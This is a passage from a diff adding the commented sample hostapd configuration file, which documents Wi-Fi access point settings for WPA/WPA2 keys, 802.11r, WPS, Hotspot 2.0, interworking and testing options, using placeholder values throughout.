+# WPA-PSK or WPA-RADIUS/EAP based on other configuration). For WPA-PSK, either
+# wpa_psk or wpa_passphrase must be set and wpa_key_mgmt must include WPA-PSK.
+# Instead of wpa_psk / wpa_passphrase, wpa_psk_radius might suffice.
+# For WPA-RADIUS/EAP, ieee8021x must be set (but without dynamic WEP keys),
+# RADIUS authentication server must be configured, and WPA-EAP must be included
+# in wpa_key_mgmt.
+# This field is a bit field that can be used to enable WPA (IEEE 802.11i/D3.0)
+# and/or WPA2 (full IEEE 802.11i/RSN):
+# bit0 = WPA
+# bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
+#wpa=1
+
+# WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
+# secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
+# (8..63 characters) that will be converted to PSK. This conversion uses SSID
+# so the PSK changes when ASCII passphrase is used and the SSID is changed.
+# wpa_psk (dot11RSNAConfigPSKValue)
+# wpa_passphrase (dot11RSNAConfigPSKPassPhrase)
+#wpa_psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
+#wpa_passphrase=secret passphrase
+
+# Optionally, WPA PSKs can be read from a separate text file (containing list
+# of (PSK,MAC address) pairs. This allows more than one PSK to be configured.
+# Use absolute path name to make sure that the files can be read on SIGHUP
+# configuration reloads.
+#wpa_psk_file=/etc/hostapd.wpa_psk
+
+# Optionally, WPA passphrase can be received from RADIUS authentication server
+# This requires macaddr_acl to be set to 2 (RADIUS)
+# 0 = disabled (default)
+# 1 = optional; use default passphrase/psk if RADIUS server does not include
+# Tunnel-Password
+# 2 = required; reject authentication if RADIUS server does not include
+# Tunnel-Password
+#wpa_psk_radius=0
+
+# Set of accepted key management algorithms (WPA-PSK, WPA-EAP, or both). The
+# entries are separated with a space. WPA-PSK-SHA256 and WPA-EAP-SHA256 can be
+# added to enable SHA256-based stronger algorithms.
+# (dot11RSNAConfigAuthenticationSuitesTable)
+#wpa_key_mgmt=WPA-PSK WPA-EAP
+
+# Set of accepted cipher suites (encryption algorithms) for pairwise keys
+# (unicast packets). This is a space separated list of algorithms:
+# CCMP = AES in Counter mode with CBC-MAC [RFC 3610, IEEE 802.11i/D7.0]
+# TKIP = Temporal Key Integrity Protocol [IEEE 802.11i/D7.0]
+# Group cipher suite (encryption algorithm for broadcast and multicast frames)
+# is automatically selected based on this configuration. If only CCMP is
+# allowed as the pairwise cipher, group cipher will also be CCMP. Otherwise,
+# TKIP will be used as the group cipher.
+# (dot11RSNAConfigPairwiseCiphersTable)
+# Pairwise cipher for WPA (v1) (default: TKIP)
+#wpa_pairwise=TKIP CCMP
+# Pairwise cipher for RSN/WPA2 (default: use wpa_pairwise value)
+#rsn_pairwise=CCMP
+
+# Time interval for rekeying GTK (broadcast/multicast encryption keys) in
+# seconds. (dot11RSNAConfigGroupRekeyTime)
+#wpa_group_rekey=600
+
+# Rekey GTK when any STA that possesses the current GTK is leaving the BSS.
+# (dot11RSNAConfigGroupRekeyStrict)
+#wpa_strict_rekey=1
+
+# Time interval for rekeying GMK (master key used internally to generate GTKs
+# (in seconds).
+#wpa_gmk_rekey=86400
+
+# Maximum lifetime for PTK in seconds. This can be used to enforce rekeying of
+# PTK to mitigate some attacks against TKIP deficiencies.
+#wpa_ptk_rekey=600
+
+# Enable IEEE 802.11i/RSN/WPA2 pre-authentication. This is used to speed up
+# roaming be pre-authenticating IEEE 802.1X/EAP part of the full RSN
+# authentication and key handshake before actually associating with a new AP.
+# (dot11RSNAPreauthenticationEnabled)
+#rsn_preauth=1
+#
+# Space separated list of interfaces from which pre-authentication frames are
+# accepted (e.g., 'eth0' or 'eth0 wlan0wds0'. This list should include all
+# interface that are used for connections to other APs. This could include
+# wired interfaces and WDS links. The normal wireless data interface towards
+# associated stations (e.g., wlan0) should not be added, since
+# pre-authentication is only used with APs other than the currently associated
+# one.
+#rsn_preauth_interfaces=eth0
+
+# peerkey: Whether PeerKey negotiation for direct links (IEEE 802.11e) is
+# allowed. This is only used with RSN/WPA2.
+# 0 = disabled (default)
+# 1 = enabled
+#peerkey=1
+
+# ieee80211w: Whether management frame protection (MFP) is enabled
+# 0 = disabled (default)
+# 1 = optional
+# 2 = required
+#ieee80211w=0
+
+# Group management cipher suite
+# Default: AES-128-CMAC (BIP)
+# Other options (depending on driver support):
+# BIP-GMAC-128
+# BIP-GMAC-256
+# BIP-CMAC-256
+# Note: All the stations connecting to the BSS will also need to support the
+# selected cipher. The default AES-128-CMAC is the only option that is commonly
+# available in deployed devices.
+#group_mgmt_cipher=AES-128-CMAC
+
+# Association SA Query maximum timeout (in TU = 1.024 ms; for MFP)
+# (maximum time to wait for a SA Query response)
+# dot11AssociationSAQueryMaximumTimeout, 1...4294967295
+#assoc_sa_query_max_timeout=1000
+
+# Association SA Query retry timeout (in TU = 1.024 ms; for MFP)
+# (time between two subsequent SA Query requests)
+# dot11AssociationSAQueryRetryTimeout, 1...4294967295
+#assoc_sa_query_retry_timeout=201
+
+# disable_pmksa_caching: Disable PMKSA caching
+# This parameter can be used to disable caching of PMKSA created through EAP
+# authentication. RSN preauthentication may still end up using PMKSA caching if
+# it is enabled (rsn_preauth=1).
+# 0 = PMKSA caching enabled (default)
+# 1 = PMKSA caching disabled
+#disable_pmksa_caching=0
+
+# okc: Opportunistic Key Caching (aka Proactive Key Caching)
+# Allow PMK cache to be shared opportunistically among configured interfaces
+# and BSSes (i.e., all configurations within a single hostapd process).
+# 0 = disabled (default)
+# 1 = enabled
+#okc=1
+
+# SAE threshold for anti-clogging mechanism (dot11RSNASAEAntiCloggingThreshold)
+# This parameter defines how many open SAE instances can be in progress at the
+# same time before the anti-clogging mechanism is taken into use.
+#sae_anti_clogging_threshold=5
+
+# Enabled SAE finite cyclic groups
+# SAE implementation are required to support group 19 (ECC group defined over a
+# 256-bit prime order field). All groups that are supported by the
+# implementation are enabled by default. This configuration parameter can be
+# used to specify a limited set of allowed groups. The group values are listed
+# in the IANA registry:
+# http://www.iana.org/assignments/ipsec-registry/ipsec-registry.xml#ipsec-registry-9
+#sae_groups=19 20 21 25 26
+
+##### IEEE 802.11r configuration ##############################################
+
+# Mobility Domain identifier (dot11FTMobilityDomainID, MDID)
+# MDID is used to indicate a group of APs (within an ESS, i.e., sharing the
+# same SSID) between which a STA can use Fast BSS Transition.
+# 2-octet identifier as a hex string.
+#mobility_domain=a1b2
+
+# PMK-R0 Key Holder identifier (dot11FTR0KeyHolderID)
+# 1 to 48 octet identifier.
+# This is configured with nas_identifier (see RADIUS client section above).
+
+# Default lifetime of the PMK-RO in minutes; range 1..65535
+# (dot11FTR0KeyLifetime)
+#r0_key_lifetime=10000
+
+# PMK-R1 Key Holder identifier (dot11FTR1KeyHolderID)
+# 6-octet identifier as a hex string.
+# Defaults to BSSID.
+#r1_key_holder=000102030405
+
+# Reassociation deadline in time units (TUs / 1.024 ms; range 1000..65535)
+# (dot11FTReassociationDeadline)
+#reassociation_deadline=1000
+
+# List of R0KHs in the same Mobility Domain
+# format: <MAC address> <NAS Identifier> <128-bit key as hex string>
+# This list is used to map R0KH-ID (NAS Identifier) to a destination MAC
+# address when requesting PMK-R1 key from the R0KH that the STA used during the
+# Initial Mobility Domain Association.
+#r0kh=02:01:02:03:04:05 r0kh-1.example.com 000102030405060708090a0b0c0d0e0f
+#r0kh=02:01:02:03:04:06 r0kh-2.example.com 00112233445566778899aabbccddeeff
+# And so on.. One line per R0KH.
+
+# List of R1KHs in the same Mobility Domain
+# format: <MAC address> <R1KH-ID> <128-bit key as hex string>
+# This list is used to map R1KH-ID to a destination MAC address when sending
+# PMK-R1 key from the R0KH. This is also the list of authorized R1KHs in the MD
+# that can request PMK-R1 keys.
+#r1kh=02:01:02:03:04:05 02:11:22:33:44:55 000102030405060708090a0b0c0d0e0f
+#r1kh=02:01:02:03:04:06 02:11:22:33:44:66 00112233445566778899aabbccddeeff
+# And so on.. One line per R1KH.
+
+# Whether PMK-R1 push is enabled at R0KH
+# 0 = do not push PMK-R1 to all configured R1KHs (default)
+# 1 = push PMK-R1 to all configured R1KHs whenever a new PMK-R0 is derived
+#pmk_r1_push=1
+
+# Whether to enable FT-over-DS
+# 0 = FT-over-DS disabled
+# 1 = FT-over-DS enabled (default)
+#ft_over_ds=1
+
+##### Neighbor table ##########################################################
+# Maximum number of entries kept in AP table (either for neigbor table or for
+# detecting Overlapping Legacy BSS Condition). The oldest entry will be
+# removed when adding a new entry that would make the list grow over this
+# limit. Note! WFA certification for IEEE 802.11g requires that OLBC is
+# enabled, so this field should not be set to 0 when using IEEE 802.11g.
+# default: 255
+#ap_table_max_size=255
+
+# Number of seconds of no frames received after which entries may be deleted
+# from the AP table. Since passive scanning is not usually performed frequently
+# this should not be set to very small value. In addition, there is no
+# guarantee that every scan cycle will receive beacon frames from the
+# neighboring APs.
+# default: 60
+#ap_table_expiration_time=3600
+
+# Maximum number of stations to track on the operating channel
+# This can be used to detect dualband capable stations before they have
+# associated, e.g., to provide guidance on which colocated BSS to use.
+# Default: 0 (disabled)
+#track_sta_max_num=100
+
+# Maximum age of a station tracking entry in seconds
+# Default: 180
+#track_sta_max_age=180
+
+# Do not reply to group-addressed Probe Request from a station that was seen on
+# another radio.
+# Default: Disabled
+#
+# This can be used with enabled track_sta_max_num configuration on another
+# interface controlled by the same hostapd process to restrict Probe Request
+# frame handling from replying to group-addressed Probe Request frames from a
+# station that has been detected to be capable of operating on another band,
+# e.g., to try to reduce likelihood of the station selecting a 2.4 GHz BSS when
+# the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
+#
+# Note: Enabling this can cause connectivity issues and increase latency for
+# discovering the AP.
+#no_probe_resp_if_seen_on=wlan1
+
+# Reject authentication from a station that was seen on another radio.
+# Default: Disabled
+#
+# This can be used with enabled track_sta_max_num configuration on another
+# interface controlled by the same hostapd process to reject authentication
+# attempts from a station that has been detected to be capable of operating on
+# another band, e.g., to try to reduce likelihood of the station selecting a
+# 2.4 GHz BSS when the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
+#
+# Note: Enabling this can cause connectivity issues and increase latency for
+# connecting with the AP.
+#no_auth_if_seen_on=wlan1
+
+##### Wi-Fi Protected Setup (WPS) #############################################
+
+# WPS state
+# 0 = WPS disabled (default)
+# 1 = WPS enabled, not configured
+# 2 = WPS enabled, configured
+#wps_state=2
+
+# Whether to manage this interface independently from other WPS interfaces
+# By default, a single hostapd process applies WPS operations to all configured
+# interfaces. This parameter can be used to disable that behavior for a subset
+# of interfaces. If this is set to non-zero for an interface, WPS commands
+# issued on that interface do not apply to other interfaces and WPS operations
+# performed on other interfaces do not affect this interface.
+#wps_independent=0
+
+# AP can be configured into a locked state where new WPS Registrar are not
+# accepted, but previously authorized Registrars (including the internal one)
+# can continue to add new Enrollees.
+#ap_setup_locked=1
+
+# Universally Unique IDentifier (UUID; see RFC 4122) of the device
+# This value is used as the UUID for the internal WPS Registrar. If the AP
+# is also using UPnP, this value should be set to the device's UPnP UUID.
+# If not configured, UUID will be generated based on the local MAC address.
+#uuid=12345678-9abc-def0-1234-56789abcdef0
+
+# Note: If wpa_psk_file is set, WPS is used to generate random, per-device PSKs
+# that will be appended to the wpa_psk_file. If wpa_psk_file is not set, the
+# default PSK (wpa_psk/wpa_passphrase) will be delivered to Enrollees. Use of
+# per-device PSKs is recommended as the more secure option (i.e., make sure to
+# set wpa_psk_file when using WPS with WPA-PSK).
+
+# When an Enrollee requests access to the network with PIN method, the Enrollee
+# PIN will need to be entered for the Registrar. PIN request notifications are
+# sent to hostapd ctrl_iface monitor. In addition, they can be written to a
+# text file that could be used, e.g., to populate the AP administration UI with
+# pending PIN requests. If the following variable is set, the PIN requests will
+# be written to the configured file.
+#wps_pin_requests=/var/run/hostapd_wps_pin_requests
+
+# Device Name
+# User-friendly description of device; up to 32 octets encoded in UTF-8
+#device_name=Wireless AP
+
+# Manufacturer
+# The manufacturer of the device (up to 64 ASCII characters)
+#manufacturer=Company
+
+# Model Name
+# Model of the device (up to 32 ASCII characters)
+#model_name=WAP
+
+# Model Number
+# Additional device description (up to 32 ASCII characters)
+#model_number=123
+
+# Serial Number
+# Serial number of the device (up to 32 characters)
+#serial_number=12345
+
+# Primary Device Type
+# Used format: <categ>-<OUI>-<subcateg>
+# categ = Category as an integer value
+# OUI = OUI and type octet as a 4-octet hex-encoded value; 0050F204 for
+# default WPS OUI
+# subcateg = OUI-specific Sub Category as an integer value
+# Examples:
+# 1-0050F204-1 (Computer / PC)
+# 1-0050F204-2 (Computer / Server)
+# 5-0050F204-1 (Storage / NAS)
+# 6-0050F204-1 (Network Infrastructure / AP)
+#device_type=6-0050F204-1
+
+# OS Version
+# 4-octet operating system version number (hex string)
+#os_version=01020300
+
+# Config Methods
+# List of the supported configuration methods
+# Available methods: usba ethernet label display ext_nfc_token int_nfc_token
+# nfc_interface push_button keypad virtual_display physical_display
+# virtual_push_button physical_push_button
+#config_methods=label virtual_display virtual_push_button keypad
+
+# WPS capability discovery workaround for PBC with Windows 7
+# Windows 7 uses incorrect way of figuring out AP's WPS capabilities by acting
+# as a Registrar and using M1 from the AP. The config methods attribute in that
+# message is supposed to indicate only the configuration method supported by
+# the AP in Enrollee role, i.e., to add an external Registrar. For that case,
+# PBC shall not be used and as such, the PushButton config method is removed
+# from M1 by default. If pbc_in_m1=1 is included in the configuration file,
+# the PushButton config method is left in M1 (if included in config_methods
+# parameter) to allow Windows 7 to use PBC instead of PIN (e.g., from a label
+# in the AP).
+#pbc_in_m1=1
+
+# Static access point PIN for initial configuration and adding Registrars
+# If not set, hostapd will not allow external WPS Registrars to control the
+# access point. The AP PIN can also be set at runtime with hostapd_cli
+# wps_ap_pin command. Use of temporary (enabled by user action) and random
+# AP PIN is much more secure than configuring a static AP PIN here. As such,
+# use of the ap_pin parameter is not recommended if the AP device has means for
+# displaying a random PIN.
+#ap_pin=12345670
+
+# Skip building of automatic WPS credential
+# This can be used to allow the automatically generated Credential attribute to
+# be replaced with pre-configured Credential(s).
+#skip_cred_build=1
+
+# Additional Credential attribute(s)
+# This option can be used to add pre-configured Credential attributes into M8
+# message when acting as a Registrar. If skip_cred_build=1, this data will also
+# be able to override the Credential attribute that would have otherwise been
+# automatically generated based on network configuration. This configuration
+# option points to an external file that much contain the WPS Credential
+# attribute(s) as binary data.
+#extra_cred=hostapd.cred
+
+# Credential processing
+# 0 = process received credentials internally (default)
+# 1 = do not process received credentials; just pass them over ctrl_iface to
+# external program(s)
+# 2 = process received credentials internally and pass them over ctrl_iface
+# to external program(s)
+# Note: With wps_cred_processing=1, skip_cred_build should be set to 1 and
+# extra_cred be used to provide the Credential data for Enrollees.
+#
+# wps_cred_processing=1 will disabled automatic updates of hostapd.conf file
+# both for Credential processing and for marking AP Setup Locked based on
+# validation failures of AP PIN. An external program is responsible on updating
+# the configuration appropriately in this case.
+#wps_cred_processing=0
+
+# AP Settings Attributes for M7
+# By default, hostapd generates the AP Settings Attributes for M7 based on the
+# current configuration. It is possible to override this by providing a file
+# with pre-configured attributes. This is similar to extra_cred file format,
+# but the AP Settings attributes are not encapsulated in a Credential
+# attribute.
+#ap_settings=hostapd.ap_settings
+
+# WPS UPnP interface
+# If set, support for external Registrars is enabled.
+#upnp_iface=br0
+
+# Friendly Name (required for UPnP)
+# Short description for end use. Should be less than 64 characters.
+#friendly_name=WPS Access Point
+
+# Manufacturer URL (optional for UPnP)
+#manufacturer_url=http://www.example.com/
+
+# Model Description (recommended for UPnP)
+# Long description for end user. Should be less than 128 characters.
+#model_description=Wireless Access Point
+
+# Model URL (optional for UPnP)
+#model_url=http://www.example.com/model/
+
+# Universal Product Code (optional for UPnP)
+# 12-digit, all-numeric code that identifies the consumer package.
+#upc=123456789012
+
+# WPS RF Bands (a = 5G, b = 2.4G, g = 2.4G, ag = dual band, ad = 60 GHz)
+# This value should be set according to RF band(s) supported by the AP if
+# hw_mode is not set. For dual band dual concurrent devices, this needs to be
+# set to ag to allow both RF bands to be advertized.
+#wps_rf_bands=ag
+
+# NFC password token for WPS
+# These parameters can be used to configure a fixed NFC password token for the
+# AP. This can be generated, e.g., with nfc_pw_token from wpa_supplicant. When
+# these parameters are used, the AP is assumed to be deployed with a NFC tag
+# that includes the matching NFC password token (e.g., written based on the
+# NDEF record from nfc_pw_token).
+#
+#wps_nfc_dev_pw_id: Device Password ID (16..65535)
+#wps_nfc_dh_pubkey: Hexdump of DH Public Key
+#wps_nfc_dh_privkey: Hexdump of DH Private Key
+#wps_nfc_dev_pw: Hexdump of Device Password
+
+##### Wi-Fi Direct (P2P) ######################################################
+
+# Enable P2P Device management
+#manage_p2p=1
+
+# Allow cross connection
+#allow_cross_connection=1
+
+#### TDLS (IEEE 802.11z-2010) #################################################
+
+# Prohibit use of TDLS in this BSS
+#tdls_prohibit=1
+
+# Prohibit use of TDLS Channel Switching in this BSS
+#tdls_prohibit_chan_switch=1
+
+##### IEEE 802.11v-2011 #######################################################
+
+# Time advertisement
+# 0 = disabled (default)
+# 2 = UTC time at which the TSF timer is 0
+#time_advertisement=2
+
+# Local time zone as specified in 8.3 of IEEE Std 1003.1-2004:
+# stdoffset[dst[offset][,start[/time],end[/time]]]
+#time_zone=EST5
+
+# WNM-Sleep Mode (extended sleep mode for stations)
+# 0 = disabled (default)
+# 1 = enabled (allow stations to use WNM-Sleep Mode)
+#wnm_sleep_mode=1
+
+# BSS Transition Management
+# 0 = disabled (default)
+# 1 = enabled
+#bss_transition=1
+
+# Proxy ARP
+# 0 = disabled (default)
+# 1 = enabled
+#proxy_arp=1
+
+# IPv6 Neighbor Advertisement multicast-to-unicast conversion
+# This can be used with Proxy ARP to allow multicast NAs to be forwarded to
+# associated STAs using link layer unicast delivery.
+# 0 = disabled (default)
+# 1 = enabled
+#na_mcast_to_ucast=0
+
+##### IEEE 802.11u-2011 #######################################################
+
+# Enable Interworking service
+#interworking=1
+
+# Access Network Type
+# 0 = Private network
+# 1 = Private network with guest access
+# 2 = Chargeable public network
+# 3 = Free public network
+# 4 = Personal device network
+# 5 = Emergency services only network
+# 14 = Test or experimental
+# 15 = Wildcard
+#access_network_type=0
+
+# Whether the network provides connectivity to the Internet
+# 0 = Unspecified
+# 1 = Network provides connectivity to the Internet
+#internet=1
+
+# Additional Step Required for Access
+# Note: This is only used with open network, i.e., ASRA shall ne set to 0 if
+# RSN is used.
+#asra=0
+
+# Emergency services reachable
+#esr=0
+
+# Unauthenticated emergency service accessible
+#uesa=0
+
+# Venue Info (optional)
+# The available values are defined in IEEE Std 802.11u-2011, 7.3.1.34.
+# Example values (group,type):
+# 0,0 = Unspecified
+# 1,7 = Convention Center
+# 1,13 = Coffee Shop
+# 2,0 = Unspecified Business
+# 7,1 Private Residence
+#venue_group=7
+#venue_type=1
+
+# Homogeneous ESS identifier (optional; dot11HESSID)
+# If set, this shall be identifical to one of the BSSIDs in the homogeneous
+# ESS and this shall be set to the same value across all BSSs in homogeneous
+# ESS.
+#hessid=02:03:04:05:06:07
+
+# Roaming Consortium List
+# Arbitrary number of Roaming Consortium OIs can be configured with each line
+# adding a new OI to the list. The first three entries are available through
+# Beacon and Probe Response frames. Any additional entry will be available only
+# through ANQP queries. Each OI is between 3 and 15 octets and is configured as
+# a hexstring.
+#roaming_consortium=021122
+#roaming_consortium=2233445566
+
+# Venue Name information
+# This parameter can be used to configure one or more Venue Name Duples for
+# Venue Name ANQP information. Each entry has a two or three character language
+# code (ISO-639) separated by colon from the venue name string.
+# Note that venue_group and venue_type have to be set for Venue Name
+# information to be complete.
+#venue_name=eng:Example venue
+#venue_name=fin:Esimerkkipaikka
+# Alternative format for language:value strings:
+# (double quoted string, printf-escaped string)
+#venue_name=P"eng:Example\nvenue"
+
+# Network Authentication Type
+# This parameter indicates what type of network authentication is used in the
+# network.
+# format: <network auth type indicator (1-octet hex str)> [redirect URL]
+# Network Authentication Type Indicator values:
+# 00 = Acceptance of terms and conditions
+# 01 = On-line enrollment supported
+# 02 = http/https redirection
+# 03 = DNS redirection
+#network_auth_type=00
+#network_auth_type=02http://www.example.com/redirect/me/here/
+
+# IP Address Type Availability
+# format: <1-octet encoded value as hex str>
+# (ipv4_type & 0x3f) << 2 | (ipv6_type & 0x3)
+# ipv4_type:
+# 0 = Address type not available
+# 1 = Public IPv4 address available
+# 2 = Port-restricted IPv4 address available
+# 3 = Single NATed private IPv4 address available
+# 4 = Double NATed private IPv4 address available
+# 5 = Port-restricted IPv4 address and single NATed IPv4 address available
+# 6 = Port-restricted IPv4 address and double NATed IPv4 address available
+# 7 = Availability of the address type is not known
+# ipv6_type:
+# 0 = Address type not available
+# 1 = Address type available
+# 2 = Availability of the address type not known
+#ipaddr_type_availability=14
+
+# Domain Name
+# format: <variable-octet str>[,<variable-octet str>]
+#domain_name=example.com,another.example.com,yet-another.example.com
+
+# 3GPP Cellular Network information
+# format: <MCC1,MNC1>[;<MCC2,MNC2>][;...]
+#anqp_3gpp_cell_net=244,91;310,026;234,56
+
+# NAI Realm information
+# One or more realm can be advertised. Each nai_realm line adds a new realm to
+# the set. These parameters provide information for stations using Interworking
+# network selection to allow automatic connection to a network based on
+# credentials.
+# format: <encoding>,<NAI Realm(s)>[,<EAP Method 1>][,<EAP Method 2>][,...]
+# encoding:
+# 0 = Realm formatted in accordance with IETF RFC 4282
+# 1 = UTF-8 formatted character string that is not formatted in
+# accordance with IETF RFC 4282
+# NAI Realm(s): Semi-colon delimited NAI Realm(s)
+# EAP Method: <EAP Method>[:<[AuthParam1:Val1]>][<[AuthParam2:Val2]>][...]
+# EAP Method types, see:
+# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4
+# AuthParam (Table 8-188 in IEEE Std 802.11-2012):
+# ID 2 = Non-EAP Inner Authentication Type
+# 1 = PAP, 2 = CHAP, 3 = MSCHAP, 4 = MSCHAPV2
+# ID 3 = Inner authentication EAP Method Type
+# ID 5 = Credential Type
+# 1 = SIM, 2 = USIM, 3 = NFC Secure Element, 4 = Hardware Token,
+# 5 = Softoken, 6 = Certificate, 7 = username/password, 9 = Anonymous,
+# 10 = Vendor Specific
+#nai_realm=0,example.com;example.net
+# EAP methods EAP-TLS with certificate and EAP-TTLS/MSCHAPv2 with
+# username/password
+#nai_realm=0,example.org,13[5:6],21[2:4][5:7]
+
+# Arbitrary ANQP-element configuration
+# Additional ANQP-elements with arbitrary values can be defined by specifying
+# their contents in raw format as a hexdump of the payload. Note that these
+# values will override ANQP-element contents that may have been specified in the
+# more higher layer configuration parameters listed above.
+# format: anqp_elem=<InfoID>:<hexdump of payload>
+# For example, AP Geospatial Location ANQP-element with unknown location:
+#anqp_elem=265:0000
+# For example, AP Civic Location ANQP-element with unknown location:
+#anqp_elem=266:000000
+
+# GAS Address 3 behavior
+# 0 = P2P specification (Address3 = AP BSSID) workaround enabled by default
+# based on GAS request Address3
+# 1 = IEEE 802.11 standard compliant regardless of GAS request Address3
+# 2 = Force non-compliant behavior (Address3 = AP BSSID for all cases)
+#gas_address3=0
+
+# QoS Map Set configuration
+#
+# Comma delimited QoS Map Set in decimal values
+# (see IEEE Std 802.11-2012, 8.4.2.97)
+#
+# format:
+# [<DSCP Exceptions[DSCP,UP]>,]<UP 0 range[low,high]>,...<UP 7 range[low,high]>
+#
+# There can be up to 21 optional DSCP Exceptions which are pairs of DSCP Value
+# (0..63 or 255) and User Priority (0..7). This is followed by eight DSCP Range
+# descriptions with DSCP Low Value and DSCP High Value pairs (0..63 or 255) for
+# each UP starting from 0. If both low and high value are set to 255, the
+# corresponding UP is not used.
+#
+# default: not set
+#qos_map_set=53,2,22,6,8,15,0,7,255,255,16,31,32,39,255,255,40,47,255,255
+
+##### Hotspot 2.0 #############################################################
+
+# Enable Hotspot 2.0 support
+#hs20=1
+
+# Disable Downstream Group-Addressed Forwarding (DGAF)
+# This can be used to configure a network where no group-addressed frames are
+# allowed. The AP will not forward any group-address frames to the stations and
+# random GTKs are issued for each station to prevent associated stations from
+# forging such frames to other stations in the BSS.
+#disable_dgaf=1
+
+# OSU Server-Only Authenticated L2 Encryption Network
+#osen=1
+
+# ANQP Domain ID (0..65535)
+# An identifier for a set of APs in an ESS that share the same common ANQP
+# information. 0 = Some of the ANQP information is unique to this AP (default).
+#anqp_domain_id=1234
+
+# Deauthentication request timeout
+# If the RADIUS server indicates that the station is not allowed to connect to
+# the BSS/ESS, the AP can allow the station some time to download a
+# notification page (URL included in the message). This parameter sets that
+# timeout in seconds.
+#hs20_deauth_req_timeout=60
+
+# Operator Friendly Name
+# This parameter can be used to configure one or more Operator Friendly Name
+# Duples. Each entry has a two or three character language code (ISO-639)
+# separated by colon from the operator friendly name string.
+#hs20_oper_friendly_name=eng:Example operator
+#hs20_oper_friendly_name=fin:Esimerkkioperaattori
+
+# Connection Capability
+# This can be used to advertise what type of IP traffic can be sent through the
+# hotspot (e.g., due to firewall allowing/blocking protocols/ports).
+# format: <IP Protocol>:<Port Number>:<Status>
+# IP Protocol: 1 = ICMP, 6 = TCP, 17 = UDP
+# Port Number: 0..65535
+# Status: 0 = Closed, 1 = Open, 2 = Unknown
+# Each hs20_conn_capab line is added to the list of advertised tuples.
+#hs20_conn_capab=1:0:2
+#hs20_conn_capab=6:22:1
+#hs20_conn_capab=17:5060:0
+
+# WAN Metrics
+# format: <WAN Info>:<DL Speed>:<UL Speed>:<DL Load>:<UL Load>:<LMD>
+# WAN Info: B0-B1: Link Status, B2: Symmetric Link, B3: At Capabity
+# (encoded as two hex digits)
+# Link Status: 1 = Link up, 2 = Link down, 3 = Link in test state
+# Downlink Speed: Estimate of WAN backhaul link current downlink speed in kbps;
+# 1..4294967295; 0 = unknown
+# Uplink Speed: Estimate of WAN backhaul link current uplink speed in kbps
+# 1..4294967295; 0 = unknown
+# Downlink Load: Current load of downlink WAN connection (scaled to 255 = 100%)
+# Uplink Load: Current load of uplink WAN connection (scaled to 255 = 100%)
+# Load Measurement Duration: Duration for measuring downlink/uplink load in
+# tenths of a second (1..65535); 0 if load cannot be determined
+#hs20_wan_metrics=01:8000:1000:80:240:3000
+
+# Operating Class Indication
+# List of operating classes the BSSes in this ESS use. The Global operating
+# classes in Table E-4 of IEEE Std 802.11-2012 Annex E define the values that
+# can be used in this.
+# format: hexdump of operating class octets
+# for example, operating classes 81 (2.4 GHz channels 1-13) and 115 (5 GHz
+# channels 36-48):
+#hs20_operating_class=5173
+
+# OSU icons
+# <Icon Width>:<Icon Height>:<Language code>:<Icon Type>:<Name>:<file path>
+#hs20_icon=32:32:eng:image/png:icon32:/tmp/icon32.png
+#hs20_icon=64:64:eng:image/png:icon64:/tmp/icon64.png
+
+# OSU SSID (see ssid2 for format description)
+# This is the SSID used for all OSU connections to all the listed OSU Providers.
+#osu_ssid="example"
+
+# OSU Providers
+# One or more sets of following parameter. Each OSU provider is started by the
+# mandatory osu_server_uri item. The other parameters add information for the
+# last added OSU provider.
+#
+#osu_server_uri=https://example.com/osu/
+#osu_friendly_name=eng:Example operator
+#osu_friendly_name=fin:Esimerkkipalveluntarjoaja
+#osu_nai=anonymous@example.com
+#osu_method_list=1 0
+#osu_icon=icon32
+#osu_icon=icon64
+#osu_service_desc=eng:Example services
+#osu_service_desc=fin:Esimerkkipalveluja
+#
+#osu_server_uri=...
+
+##### Fast Session Transfer (FST) support #####################################
+#
+# The options in this section are only available when the build configuration
+# option CONFIG_FST is set while compiling hostapd. They allow this interface
+# to be a part of FST setup.
+#
+# FST is the transfer of a session from a channel to another channel, in the
+# same or different frequency bands.
+#
+# For detals, see IEEE Std 802.11ad-2012.
+
+# Identifier of an FST Group the interface belongs to.
+#fst_group_id=bond0
+
+# Interface priority within the FST Group.
+# Announcing a higher priority for an interface means declaring it more
+# preferable for FST switch.
+# fst_priority is in 1..255 range with 1 being the lowest priority.
+#fst_priority=100
+
+# Default LLT value for this interface in milliseconds. The value used in case
+# no value provided during session setup. Default is 50 ms.
+# fst_llt is in 1..4294967 range (due to spec limitation, see 10.32.2.2
+# Transitioning between states).
+#fst_llt=100
+
+##### Radio measurements / location ###########################################
+
+# The content of a LCI measurement subelement
+#lci=<Hexdump of binary data of the LCI report>
+
+# The content of a location civic measurement subelement
+#civic=<Hexdump of binary data of the location civic report>
+
+# Enable neighbor report via radio measurements
+#rrm_neighbor_report=1
+
+# Publish fine timing measurement (FTM) responder functionality
+# This parameter only controls publishing via Extended Capabilities element.
+# Actual functionality is managed outside hostapd.
+#ftm_responder=0
+
+# Publish fine timing measurement (FTM) initiator functionality
+# This parameter only controls publishing via Extended Capabilities element.
+# Actual functionality is managed outside hostapd.
+#ftm_initiator=0
+
+##### TESTING OPTIONS #########################################################
+#
+# The options in this section are only available when the build configuration
+# option CONFIG_TESTING_OPTIONS is set while compiling hostapd. They allow
+# testing some scenarios that are otherwise difficult to reproduce.
+#
+# Ignore probe requests sent to hostapd with the given probability, must be a
+# floating point number in the range [0, 1).
+#ignore_probe_probability=0.0
+#
+# Ignore authentication frames with the given probability
+#ignore_auth_probability=0.0
+#
+# Ignore association requests with the given probability
+#ignore_assoc_probability=0.0
+#
+# Ignore reassociation requests with the given probability
+#ignore_reassoc_probability=0.0
+#
+# Corrupt Key MIC in GTK rekey EAPOL-Key frames with the given probability
+#corrupt_gtk_rekey_mic_probability=0.0
+#
+# Include only ECSA IE without CSA IE where possible
+# (channel switch operating class is needed)
+#ecsa_ie_only=0
+
+##### Multiple BSSID support ##################################################
+#
+# Above configuration is using the default interface (wlan#, or multi-SSID VLAN
+# interfaces). Other BSSIDs can be added by using separator 'bss' with
+# default interface name to be allocated for the data packets of the new BSS.
+#
+# hostapd will generate BSSID mask based on the BSSIDs that are
+# configured. hostapd will verify that dev_addr & MASK == dev_addr. If this is
